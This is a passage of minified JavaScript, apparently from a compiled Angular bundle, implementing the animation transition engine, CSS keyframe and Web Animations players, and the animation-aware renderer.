n=this._fetchNamespace(t);this.afterFlush(()=>{this.namespacesByHostElement.delete(n.hostElement),delete this._namespaceLookup[t];const e=this._namespaceList.indexOf(n);e>=0&&this._namespaceList.splice(e,1)}),this.afterFlushAnimationsDone(()=>n.destroy(e))}_fetchNamespace(t){return this._namespaceLookup[t]}fetchNamespacesByElement(t){const e=new Set,n=this.statesByElement.get(t);if(n){const t=Object.keys(n);for(let r=0;r<t.length;r++){const i=n[t[r]].namespaceId;if(i){const t=this._fetchNamespace(i);t&&e.add(t)}}}return e}trigger(t,e,n,r){if(xS(e)){const i=this._fetchNamespace(t);if(i)return i.trigger(e,n,r),!0}return!1}insertNode(t,e,n,r){if(!xS(e))return;const i=e[mS];if(i&&i.setForRemoval){i.setForRemoval=!1,i.setForMove=!0;const t=this.collectedLeaveElements.indexOf(e);t>=0&&this.collectedLeaveElements.splice(t,1)}if(t){const r=this._fetchNamespace(t);r&&r.insertNode(e,n)}r&&this.collectEnterElement(e)}collectEnterElement(t){this.collectedEnterElements.push(t)}markElementAsDisabled(t,e){e?this.disabledNodes.has(t)||(this.disabledNodes.add(t),ES(t,dS)):this.disabledNodes.has(t)&&(this.disabledNodes.delete(t),TS(t,dS))}removeNode(t,e,n,r){if(xS(e)){const i=t?this._fetchNamespace(t):null;if(i?i.removeNode(e,r):this.markElementAsRemoved(t,e,!1,r),n){const n=this.namespacesByHostElement.get(e);n&&n.id!==t&&n.removeNode(e,r)}}else this._onRemovalComplete(e,r)}markElementAsRemoved(t,e,n,r){this.collectedLeaveElements.push(e),e[mS]={namespaceId:t,setForRemoval:r,hasAnimation:n,removedBeforeQueried:!1}}listen(t,e,n,r,i){return xS(e)?this._fetchNamespace(t).listen(e,n,r,i):()=>{}}_buildInstruction(t,e,n,r,i){return t.transition.build(this.driver,t.element,t.fromState.value,t.toState.value,n,r,t.fromState.options,t.toState.options,e,i)}destroyInnerAnimations(t){let e=this.driver.query(t,aP,!0);e.forEach(t=>this.destroyActiveAnimationsForElement(t)),0!=this.playersByQueriedElement.size&&(e=this.driver.query(t,lP,!0),e.forEach(t=>this.finishActiveQueriedAnimationOnElement(t)))}destroyActiveAnimationsForElement(t){const e=this.playersByElement.get(t);e&&e.forEach(t=>{t.queued?t.markedForDestroy=!0:t.destroy()})}finishActiveQueriedAnimationOnElement(t){const e=this.playersByQueriedElement.get(t);e&&e.forEach(t=>t.finish())}whenRenderingDone(){return new Promise(t=>{if(this.players.length)return Fx(this.players).onDone(()=>t());t()})}processLeaveNode(t){const e=t[mS];if(e&&e.setForRemoval){if(t[mS]=fS,e.namespaceId){this.destroyInnerAnimations(t);const n=this._fetchNamespace(e.namespaceId);n&&n.clearElementCache(t)}this._onRemovalComplete(t,e.setForRemoval)}this.driver.matchesElement(t,hS)&&this.markElementAsDisabled(t,!1),this.driver.query(t,hS,!0).forEach(t=>{this.markElementAsDisabled(t,!1)})}flush(t=-1){let e=[];if(this.newHostElements.size&&(this.newHostElements.forEach((t,e)=>this._balanceNamespaceList(t,e)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let n=0;n<this.collectedEnterElements.length;n++)ES(this.collectedEnterElements[n],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const n=[];try{e=this._flushAnimations(n,t)}finally{for(let t=0;t<n.length;t++)n[t]()}}else for(let n=0;n<this.collectedLeaveElements.length;n++)this.processLeaveNode(this.collectedLeaveElements[n]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(t=>t()),this._flushFns=[],this._whenQuietFns.length){const t=this._whenQuietFns;this._whenQuietFns=[],e.length?Fx(e).onDone(()=>{t.forEach(t=>t())}):t.forEach(t=>t())}}reportError(t){throw new Error(`Unable to process animations due to the following failed trigger transitions\n ${t.join("\n")}`)}_flushAnimations(t,e){const n=new GP,r=[],i=new Map,o=[],s=new Map,a=new Map,c=new Map,l=new Set;this.disabledNodes.forEach(t=>{l.add(t);const e=this.driver.query(t,".ng-animate-queued",!0);for(let n=0;n<e.length;n++)l.add(e[n])});const u=this.bodyNode,d=Array.from(this.statesByElement.keys()),h=MS(d,this.collectedEnterElements),p=new Map;let f=0;h.forEach((t,e)=>{const n=iP+f++;p.set(e,n),t.forEach(t=>ES(t,n))});const g=[],m=new Set,y=new Set;for(let I=0;I<this.collectedLeaveElements.length;I++){const t=this.collectedLeaveElements[I],e=t[mS];e&&e.setForRemoval&&(g.push(t),m.add(t),e.hasAnimation?this.driver.query(t,".ng-star-inserted",!0).forEach(t=>m.add(t)):y.add(t))}const b=new Map,v=MS(d,Array.from(m));v.forEach((t,e)=>{const n=oP+f++;b.set(e,n),t.forEach(t=>ES(t,n))}),t.push(()=>{h.forEach((t,e)=>{const n=p.get(e);t.forEach(t=>TS(t,n))}),v.forEach((t,e)=>{const n=b.get(e);t.forEach(t=>TS(t,n))}),g.forEach(t=>{this.processLeaveNode(t)})});const _=[],C=[];for(let I=this._namespaceList.length-1;I>=0;I--)this._namespaceList[I].drainQueuedTransitions(e).forEach(t=>{const e=t.player,i=t.element;if(_.push(e),this.collectedEnterElements.length){const t=i[mS];if(t&&t.setForMove)return void e.destroy()}const l=!u||!this.driver.containsElement(u,i),d=b.get(i),h=p.get(i),f=this._buildInstruction(t,n,h,d,l);if(f.errors&&f.errors.length)C.push(f);else{if(l)return e.onStart(()=>bP(i,f.fromStyles)),e.onDestroy(()=>yP(i,f.toStyles)),void r.push(e);if(t.isFallbackTransition)return e.onStart(()=>bP(i,f.fromStyles)),e.onDestroy(()=>yP(i,f.toStyles)),void r.push(e);f.timelines.forEach(t=>t.stretchStartingKeyframe=!0),n.append(i,f.timelines),o.push({instruction:f,player:e,element:i}),f.queriedElements.forEach(t=>Gx(s,t,[]).push(e)),f.preStyleProps.forEach((t,e)=>{const n=Object.keys(t);if(n.length){let t=a.get(e);t||a.set(e,t=new Set),n.forEach(e=>t.add(e))}}),f.postStyleProps.forEach((t,e)=>{const n=Object.keys(t);let r=c.get(e);r||c.set(e,r=new Set),n.forEach(t=>r.add(t))})}});if(C.length){const t=[];C.forEach(e=>{t.push(`@${e.triggerName} has failed due to:\n`),e.errors.forEach(e=>t.push(`- ${e}\n`))}),_.forEach(t=>t.destroy()),this.reportError(t)}const w=new Map,x=new Map;o.forEach(t=>{const e=t.element;n.has(e)&&(x.set(e,e),this._beforeAnimationBuild(t.player.namespaceId,t.instruction,w))}),r.forEach(t=>{const e=t.element;this._getPreviousPlayers(e,!1,t.namespaceId,t.triggerName,null).forEach(t=>{Gx(w,e,[]).push(t),t.destroy()})});const P=g.filter(t=>AS(t,a,c)),S=new Map;SS(S,this.driver,y,c,Mx).forEach(t=>{AS(t,a,c)&&P.push(t)});const M=new Map;h.forEach((t,e)=>{SS(M,this.driver,new Set(t),a,"!")}),P.forEach(t=>{const e=S.get(t),n=M.get(t);S.set(t,Object.assign(Object.assign({},e),n))});const O=[],E=[],T={};o.forEach(t=>{const{element:e,player:o,instruction:s}=t;if(n.has(e)){if(l.has(e))return o.onDestroy(()=>yP(e,s.toStyles)),o.disabled=!0,o.overrideTotalTime(s.totalTime),void r.push(o);let t=T;if(x.size>1){let n=e;const r=[];for(;n=n.parentNode;){const e=x.get(n);if(e){t=e;break}r.push(n)}r.forEach(e=>x.set(e,t))}const n=this._buildAnimation(o.namespaceId,s,w,i,M,S);if(o.setRealPlayer(n),t===T)O.push(o);else{const e=this.playersByElement.get(t);e&&e.length&&(o.parentPlayer=Fx(e)),r.push(o)}}else bP(e,s.fromStyles),o.onDestroy(()=>yP(e,s.toStyles)),E.push(o),l.has(e)&&r.push(o)}),E.forEach(t=>{const e=i.get(t.element);if(e&&e.length){const n=Fx(e);t.setRealPlayer(n)}}),r.forEach(t=>{t.parentPlayer?t.syncPlayerEvents(t.parentPlayer):t.destroy()});for(let I=0;I<g.length;I++){const t=g[I],e=t[mS];if(TS(t,oP),e&&e.hasAnimation)continue;let n=[];if(s.size){let e=s.get(t);e&&e.length&&n.push(...e);let r=this.driver.query(t,lP,!0);for(let t=0;t<r.length;t++){let e=s.get(r[t]);e&&e.length&&n.push(...e)}}const r=n.filter(t=>!t.destroyed);r.length?IS(this,t,r):this.processLeaveNode(t)}return g.length=0,O.forEach(t=>{this.players.push(t),t.onDone(()=>{t.destroy();const e=this.players.indexOf(t);this.players.splice(e,1)}),t.play()}),O}elementContainsData(t,e){let n=!1;const r=e[mS];return r&&r.setForRemoval&&(n=!0),this.playersByElement.has(e)&&(n=!0),this.playersByQueriedElement.has(e)&&(n=!0),this.statesByElement.has(e)&&(n=!0),this._fetchNamespace(t).elementContainsData(e)||n}afterFlush(t){this._flushFns.push(t)}afterFlushAnimationsDone(t){this._whenQuietFns.push(t)}_getPreviousPlayers(t,e,n,r,i){let o=[];if(e){const e=this.playersByQueriedElement.get(t);e&&(o=e)}else{const e=this.playersByElement.get(t);if(e){const t=!i||i==bS;e.forEach(e=>{e.queued||!t&&e.triggerName!=r||o.push(e)})}}return(n||r)&&(o=o.filter(t=>!(n&&n!=t.namespaceId||r&&r!=t.triggerName))),o}_beforeAnimationBuild(t,e,n){const r=e.element,i=e.isRemovalTransition?void 0:t,o=e.isRemovalTransition?void 0:e.triggerName;for(const s of e.timelines){const t=s.element,a=t!==r,c=Gx(n,t,[]);this._getPreviousPlayers(t,a,i,o,e.toState).forEach(t=>{const e=t.getRealPlayer();e.beforeDestroy&&e.beforeDestroy(),t.destroy(),c.push(t)})}bP(r,e.fromStyles)}_buildAnimation(t,e,n,r,i,o){const s=e.triggerName,a=e.element,c=[],l=new Set,u=new Set,d=e.timelines.map(e=>{const d=e.element;l.add(d);const h=d[mS];if(h&&h.removedBeforeQueried)return new Nx(e.duration,e.delay);const p=d!==a,f=function(t){const e=[];return kS(t,e),e}((n.get(d)||pS).map(t=>t.getRealPlayer())).filter(t=>!!t.element&&t.element===d),g=i.get(d),m=o.get(d),y=Vx(0,this._normalizer,0,e.keyframes,g,m),b=this._buildPlayer(e,y,f);if(e.subTimeline&&r&&u.add(d),p){const e=new wS(t,s,d);e.setRealPlayer(b),c.push(e)}return b});c.forEach(t=>{Gx(this.playersByQueriedElement,t.element,[]).push(t),t.onDone(()=>function(t,e,n){let r;if(t instanceof Map){if(r=t.get(e),r){if(r.length){const t=r.indexOf(n);r.splice(t,1)}0==r.length&&t.delete(e)}}else if(r=t[e],r){if(r.length){const t=r.indexOf(n);r.splice(t,1)}0==r.length&&delete t[e]}return r}(this.playersByQueriedElement,t.element,t))}),l.forEach(t=>ES(t,cP));const h=Fx(d);return h.onDestroy(()=>{l.forEach(t=>TS(t,cP)),yP(a,e.toStyles)}),u.forEach(t=>{Gx(r,t,[]).push(h)}),h}_buildPlayer(t,e,n){return e.length>0?this.driver.animate(t.element,e,t.duration,t.delay,t.easing,n):new Nx(t.duration,t.delay)}}class wS{constructor(t,e,n){this.namespaceId=t,this.triggerName=e,this.element=n,this._player=new Nx,this._containsRealPlayer=!1,this._queuedCallbacks={},this.destroyed=!1,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(t){this._containsRealPlayer||(this._player=t,Object.keys(this._queuedCallbacks).forEach(e=>{this._queuedCallbacks[e].forEach(n=>Bx(t,e,void 0,n))}),this._queuedCallbacks={},this._containsRealPlayer=!0,this.overrideTotalTime(t.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(t){this.totalTime=t}syncPlayerEvents(t){const e=this._player;e.triggerCallback&&t.onStart(()=>e.triggerCallback("start")),t.onDone(()=>this.finish()),t.onDestroy(()=>this.destroy())}_queueEvent(t,e){Gx(this._queuedCallbacks,t,[]).push(e)}onDone(t){this.queued&&this._queueEvent("done",t),this._player.onDone(t)}onStart(t){this.queued&&this._queueEvent("start",t),this._player.onStart(t)}onDestroy(t){this.queued&&this._queueEvent("destroy",t),this._player.onDestroy(t)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(t){this.queued||this._player.setPosition(t)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(t){const e=this._player;e.triggerCallback&&e.triggerCallback(t)}}function xS(t){return t&&1===t.nodeType}function PS(t,e){const n=t.style.display;return t.style.display=null!=e?e:"none",n}function SS(t,e,n,r,i){const o=[];n.forEach(t=>o.push(PS(t)));const s=[];r.forEach((n,r)=>{const o={};n.forEach(t=>{const n=o[t]=e.computeStyle(r,t,i);(!n||0==n.length)&&(r[mS]=gS,s.push(r))}),t.set(r,o)});let a=0;return n.forEach(t=>PS(t,o[a++])),s}function MS(t,e){const n=new Map;if(t.forEach(t=>n.set(t,[])),0==e.length)return n;const r=new Set(e),i=new Map;function o(t){if(!t)return 1;let e=i.get(t);if(e)return e;const s=t.parentNode;return e=n.has(s)?s:r.has(s)?1:o(s),i.set(t,e),e}return e.forEach(t=>{const e=o(t);1!==e&&n.get(e).push(t)}),n}const OS="$$classes";function ES(t,e){if(t.classList)t.classList.add(e);else{let n=t[OS];n||(n=t[OS]={}),n[e]=!0}}function TS(t,e){if(t.classList)t.classList.remove(e);else{let n=t[OS];n&&delete n[e]}}function IS(t,e,n){Fx(n).onDone(()=>t.processLeaveNode(e))}function kS(t,e){for(let n=0;n<t.length;n++){const r=t[n];r instanceof Rx?kS(r.players,e):e.push(r)}}function AS(t,e,n){const r=n.get(t);if(!r)return!1;let i=e.get(t);return i?r.forEach(t=>i.add(t)):e.set(t,r),n.delete(t),!0}class DS{constructor(t,e,n){this.bodyNode=t,this._driver=e,this._normalizer=n,this._triggerCache={},this.onRemovalComplete=(t,e)=>{},this._transitionEngine=new CS(t,e,n),this._timelineEngine=new lS(t,e,n),this._transitionEngine.onRemovalComplete=(t,e)=>this.onRemovalComplete(t,e)}registerTrigger(t,e,n,r,i){const o=t+"-"+r;let s=this._triggerCache[o];if(!s){const t=[],e=LP(this._driver,i,t);if(t.length)throw new Error(`The animation trigger "${r}" has failed to build due to the following errors:\n - ${t.join("\n - ")}`);s=function(t,e,n){return new sS(t,e,n)}(r,e,this._normalizer),this._triggerCache[o]=s}this._transitionEngine.registerTrigger(e,r,s)}register(t,e){this._transitionEngine.register(t,e)}destroy(t,e){this._transitionEngine.destroy(t,e)}onInsert(t,e,n,r){this._transitionEngine.insertNode(t,e,n,r)}onRemove(t,e,n,r){this._transitionEngine.removeNode(t,e,r||!1,n)}disableAnimations(t,e){this._transitionEngine.markElementAsDisabled(t,e)}process(t,e,n,r){if("@"==n.charAt(0)){const[t,i]=Ux(n);this._timelineEngine.command(t,e,i,r)}else this._transitionEngine.trigger(t,e,n,r)}listen(t,e,n,r,i){if("@"==n.charAt(0)){const[t,r]=Ux(n);return this._timelineEngine.listen(t,e,r,i)}return this._transitionEngine.listen(t,e,n,r,i)}flush(t=-1){this._transitionEngine.flush(t)}get players(){return this._transitionEngine.players.concat(this._timelineEngine.players)}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}}function NS(t,e){let n=null,r=null;return Array.isArray(e)&&e.length?(n=LS(e[0]),e.length>1&&(r=LS(e[e.length-1]))):e&&(n=LS(e)),n||r?new RS(t,n,r):null}let RS=(()=>{class t{constructor(e,n,r){this._element=e,this._startStyles=n,this._endStyles=r,this._state=0;let i=t.initialStylesByElement.get(e);i||t.initialStylesByElement.set(e,i={}),this._initialStyles=i}start(){this._state<1&&(this._startStyles&&yP(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(yP(this._element,this._initialStyles),this._endStyles&&(yP(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(t.initialStylesByElement.delete(this._element),this._startStyles&&(bP(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(bP(this._element,this._endStyles),this._endStyles=null),yP(this._element,this._initialStyles),this._state=3)}}return t.initialStylesByElement=new WeakMap,t})();function LS(t){let e=null;const n=Object.keys(t);for(let r=0;r<n.length;r++){const i=n[r];jS(i)&&(e=e||{},e[i]=t[i])}return e}function jS(t){return"display"===t||"position"===t}const FS="animation",VS="animationend";class BS{constructor(t,e,n,r,i,o,s){this._element=t,this._name=e,this._duration=n,this._delay=r,this._easing=i,this._fillMode=o,this._onDoneFn=s,this._finished=!1,this._destroyed=!1,this._startTime=0,this._position=0,this._eventFn=t=>this._handleCallback(t)}apply(){(function(t,e){const n=WS(t,"").trim();let r=0;n.length&&(function(t,e){let n=0;for(let r=0;r<t.length;r++)","===t.charAt(r)&&n++;return n}(n)+1,e=`${n}, ${e}`),qS(t,"",e)})(this._element,`${this._duration}ms ${this._easing} ${this._delay}ms 1 normal ${this._fillMode} ${this._name}`),US(this._element,this._eventFn,!1),this._startTime=Date.now()}pause(){HS(this._element,this._name,"paused")}resume(){HS(this._element,this._name,"running")}setPosition(t){const e=zS(this._element,this._name);this._position=t*this._duration,qS(this._element,"Delay",`-${this._position}ms`,e)}getPosition(){return this._position}_handleCallback(t){const e=t._ngTestManualTimestamp||Date.now(),n=1e3*parseFloat(t.elapsedTime.toFixed(3));t.animationName==this._name&&Math.max(e-this._startTime,0)>=this._delay&&n>=this._duration&&this.finish()}finish(){this._finished||(this._finished=!0,this._onDoneFn(),US(this._element,this._eventFn,!0))}destroy(){this._destroyed||(this._destroyed=!0,this.finish(),function(t,e){const n=WS(t,"").split(","),r=GS(n,e);r>=0&&(n.splice(r,1),qS(t,"",n.join(",")))}(this._element,this._name))}}function HS(t,e,n){qS(t,"PlayState",n,zS(t,e))}function zS(t,e){const n=WS(t,"");return n.indexOf(",")>0?GS(n.split(","),e):GS([n],e)}function GS(t,e){for(let n=0;n<t.length;n++)if(t[n].indexOf(e)>=0)return n;return-1}function US(t,e,n){n?t.removeEventListener(VS,e):t.addEventListener(VS,e)}function qS(t,e,n,r){const i=FS+e;if(null!=r){const e=t.style[i];if(e.length){const t=e.split(",");t[r]=n,n=t.join(",")}}t.style[i]=n}function WS(t,e){return t.style[FS+e]||""}class KS{constructor(t,e,n,r,i,o,s,a){this.element=t,this.keyframes=e,this.animationName=n,this._duration=r,this._delay=i,this._finalStyles=s,this._specialStyles=a,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this.currentSnapshot={},this._state=0,this.easing=o||"linear",this.totalTime=r+i,this._buildStyler()}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}destroy(){this.init(),!(this._state>=4)&&(this._state=4,this._styler.destroy(),this._flushStartFns(),this._flushDoneFns(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}_flushDoneFns(){this._onDoneFns.forEach(t=>t()),this._onDoneFns=[]}_flushStartFns(){this._onStartFns.forEach(t=>t()),this._onStartFns=[]}finish(){this.init(),!(this._state>=3)&&(this._state=3,this._styler.finish(),this._flushStartFns(),this._specialStyles&&this._specialStyles.finish(),this._flushDoneFns())}setPosition(t){this._styler.setPosition(t)}getPosition(){return this._styler.getPosition()}hasStarted(){return this._state>=2}init(){this._state>=1||(this._state=1,this._styler.apply(),this._delay&&this._styler.pause())}play(){this.init(),this.hasStarted()||(this._flushStartFns(),this._state=2,this._specialStyles&&this._specialStyles.start()),this._styler.resume()}pause(){this.init(),this._styler.pause()}restart(){this.reset(),this.play()}reset(){this._state=0,this._styler.destroy(),this._buildStyler(),this._styler.apply()}_buildStyler(){this._styler=new BS(this.element,this.animationName,this._duration,this._delay,this.easing,"forwards",()=>this.finish())}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}beforeDestroy(){this.init();const t={};if(this.hasStarted()){const e=this._state>=3;Object.keys(this._finalStyles).forEach(n=>{"offset"!=n&&(t[n]=e?this._finalStyles[n]:IP(this.element,n))})}this.currentSnapshot=t}}class $S extends Nx{constructor(t,e){super(),this.element=t,this._startingStyles={},this.__initialized=!1,this._styles=eP(e)}init(){this.__initialized||!this._startingStyles||(this.__initialized=!0,Object.keys(this._styles).forEach(t=>{this._startingStyles[t]=this.element.style[t]}),super.init())}play(){!this._startingStyles||(this.init(),Object.keys(this._styles).forEach(t=>this.element.style.setProperty(t,this._styles[t])),super.play())}destroy(){!this._startingStyles||(Object.keys(this._startingStyles).forEach(t=>{const e=this._startingStyles[t];e?this.element.style.setProperty(t,e):this.element.style.removeProperty(t)}),this._startingStyles=null,super.destroy())}}class QS{constructor(){this._count=0}validateStyleProperty(t){return Zx(t)}matchesElement(t,e){return Yx(t,e)}containsElement(t,e){return Jx(t,e)}query(t,e,n){return tP(t,e,n)}computeStyle(t,e,n){return window.getComputedStyle(t)[e]}buildKeyframeElement(t,e,n){n=n.map(t=>eP(t));let r=`@keyframes ${e} {\n`,i="";n.forEach(t=>{i=" ";const e=parseFloat(t.offset);r+=`${i}${100*e}% {\n`,i+=" ",Object.keys(t).forEach(e=>{const n=t[e];switch(e){case"offset":return;case"easing":return void(n&&(r+=`${i}animation-timing-function: ${n};\n`));default:return void(r+=`${i}${e}: ${n};\n`)}}),r+=`${i}}\n`}),r+="}\n";const o=document.createElement("style");return o.textContent=r,o}animate(t,e,n,r,i,o=[],s){const a=o.filter(t=>t instanceof KS),c={};OP(n,r)&&a.forEach(t=>{let e=t.currentSnapshot;Object.keys(e).forEach(t=>c[t]=e[t])});const l=function(t){let e={};return t&&(Array.isArray(t)?t:[t]).forEach(t=>{Object.keys(t).forEach(n=>{"offset"==n||"easing"==n||(e[n]=t[n])})}),e}(e=EP(t,e,c));if(0==n)return new $S(t,l);const u="gen_css_kf_"+this._count++,d=this.buildKeyframeElement(t,u,e);(function(t){var e;const n=null===(e=t.getRootNode)||void 0===e?void 0:e.call(t);return"undefined"!=typeof ShadowRoot&&n instanceof ShadowRoot?n:document.head})(t).appendChild(d);const h=NS(t,e),p=new KS(t,e,u,n,r,i,l,h);return p.onDestroy(()=>function(t){t.parentNode.removeChild(t)}(d)),p}}class XS{constructor(t,e,n,r){this.element=t,this.keyframes=e,this.options=n,this._specialStyles=r,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this.time=0,this.parentPlayer=null,this.currentSnapshot={},this._duration=n.duration,this._delay=n.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(t=>t()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const t=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,t,this.options),this._finalKeyframe=t.length?t[t.length-1]:{},this.domPlayer.addEventListener("finish",()=>this._onFinish())}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_triggerWebAnimation(t,e,n){return t.animate(e,n)}onStart(t){this._onStartFns.push(t)}onDone(t){this._onDoneFns.push(t)}onDestroy(t){this._onDestroyFns.push(t)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(t=>t()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(t=>t()),this._onDestroyFns=[])}setPosition(t){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=t*this.time}getPosition(){return this.domPlayer.currentTime/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const t={};this.hasStarted()&&Object.keys(this._finalKeyframe).forEach(e=>{"offset"!=e&&(t[e]=this._finished?this._finalKeyframe[e]:IP(this.element,e))}),this.currentSnapshot=t}triggerCallback(t){const e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(t=>t()),e.length=0}}class ZS{constructor(){this._isNativeImpl=/\{\s*\[native\s+code\]\s*\}/.test(YS().toString()),this._cssKeyframesDriver=new QS}validateStyleProperty(t){return Zx(t)}matchesElement(t,e){return Yx(t,e)}containsElement(t,e){return Jx(t,e)}query(t,e,n){return tP(t,e,n)}computeStyle(t,e,n){return window.getComputedStyle(t)[e]}overrideWebAnimationsSupport(t){this._isNativeImpl=t}animate(t,e,n,r,i,o=[],s){if(!s&&!this._isNativeImpl)return this._cssKeyframesDriver.animate(t,e,n,r,i,o);const a={duration:n,delay:r,fill:0==r?"both":"forwards"};i&&(a.easing=i);const c={},l=o.filter(t=>t instanceof XS);OP(n,r)&&l.forEach(t=>{let e=t.currentSnapshot;Object.keys(e).forEach(t=>c[t]=e[t])});const u=NS(t,e=EP(t,e=e.map(t=>fP(t,!1)),c));return new XS(t,e,a,u)}}function YS(){return Lx()&&Element.prototype.animate||{}}let JS=(()=>{class t extends Sx{constructor(t,e){super(),this._nextAnimationId=0,this._renderer=t.createRenderer(e.body,{id:"0",encapsulation:r.ViewEncapsulation.None,styles:[],data:{animation:[]}})}build(t){const e=this._nextAnimationId.toString();this._nextAnimationId++;const n=Array.isArray(t)?Tx(t):t;return nM(this._renderer,null,e,"register",[n]),new tM(e,this._renderer)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.RendererFactory2),r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();class tM extends class{}{constructor(t,e){super(),this._id=t,this._renderer=e}create(t,e){return new eM(this._id,t,e||{},this._renderer)}}class eM{constructor(t,e,n,r){this.id=t,this.element=e,this._renderer=r,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",n)}_listen(t,e){return this._renderer.listen(this.element,`@@${this.id}:${t}`,e)}_command(t,...e){return nM(this._renderer,this.element,this.id,t,e)}onDone(t){this._listen("done",t)}onStart(t){this._listen("start",t)}onDestroy(t){this._listen("destroy",t)}init(){this._command("init")}hasStarted(){return this._started}play(){this._command("play"),this._started=!0}pause(){this._command("pause")}restart(){this._command("restart")}finish(){this._command("finish")}destroy(){this._command("destroy")}reset(){this._command("reset"),this._started=!1}setPosition(t){this._command("setPosition",t)}getPosition(){var t,e;return null!==(e=null===(t=this._renderer.engine.players[+this.id])||void 0===t?void 0:t.getPosition())&&void 0!==e?e:0}}function nM(t,e,n,r,i){return t.setProperty(e,`@@${n}:${r}`,i)}const rM="@.disabled";let iM=(()=>{class t{constructor(t,e,n){this.delegate=t,this.engine=e,this._zone=n,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),e.onRemovalComplete=(t,e)=>{e&&e.parentNode(t)&&e.removeChild(t.parentNode,t)}}createRenderer(t,e){const n=this.delegate.createRenderer(t,e);if(!(t&&e&&e.data&&e.data.animation)){let t=this._rendererCache.get(n);return t||(t=new oM("",n,this.engine),this._rendererCache.set(n,t)),t}const r=e.id,i=e.id+"-"+this._currentId;this._currentId++,this.engine.register(i,t);const o=e=>{Array.isArray(e)?e.forEach(o):this.engine.registerTrigger(r,i,t,e.name,e)};return e.data.animation.forEach(o),new sM(this,i,n,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){this.promise.then(()=>{this._microtaskId++})}scheduleListenerCallback(t,e,n){t>=0&&t<this._microtaskId?this._zone.run(()=>e(n)):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(()=>{this._zone.run(()=>{this._animationCallbacksBuffer.forEach(t=>{const[e,n]=t;e(n)}),this._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([e,n]))}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.RendererFactory2),r.\u0275\u0275inject(DS),r.\u0275\u0275inject(r.NgZone))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();class oM{constructor(t,e,n){this.namespaceId=t,this.delegate=e,this.engine=n,this.destroyNode=this.delegate.destroyNode?t=>e.destroyNode(t):null}get data(){return this.delegate.data}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy()}createElement(t,e){return this.delegate.createElement(t,e)}createComment(t){return this.delegate.createComment(t)}createText(t){return this.delegate.createText(t)}appendChild(t,e){this.delegate.appendChild(t,e),this.engine.onInsert(this.namespaceId,e,t,!1)}insertBefore(t,e,n,r=!0){this.delegate.insertBefore(t,e,n),this.engine.onInsert(this.namespaceId,e,t,r)}removeChild(t,e,n){this.engine.onRemove(this.namespaceId,e,this.delegate,n)}selectRootElement(t,e){return this.delegate.selectRootElement(t,e)}parentNode(t){return this.delegate.parentNode(t)}nextSibling(t){return 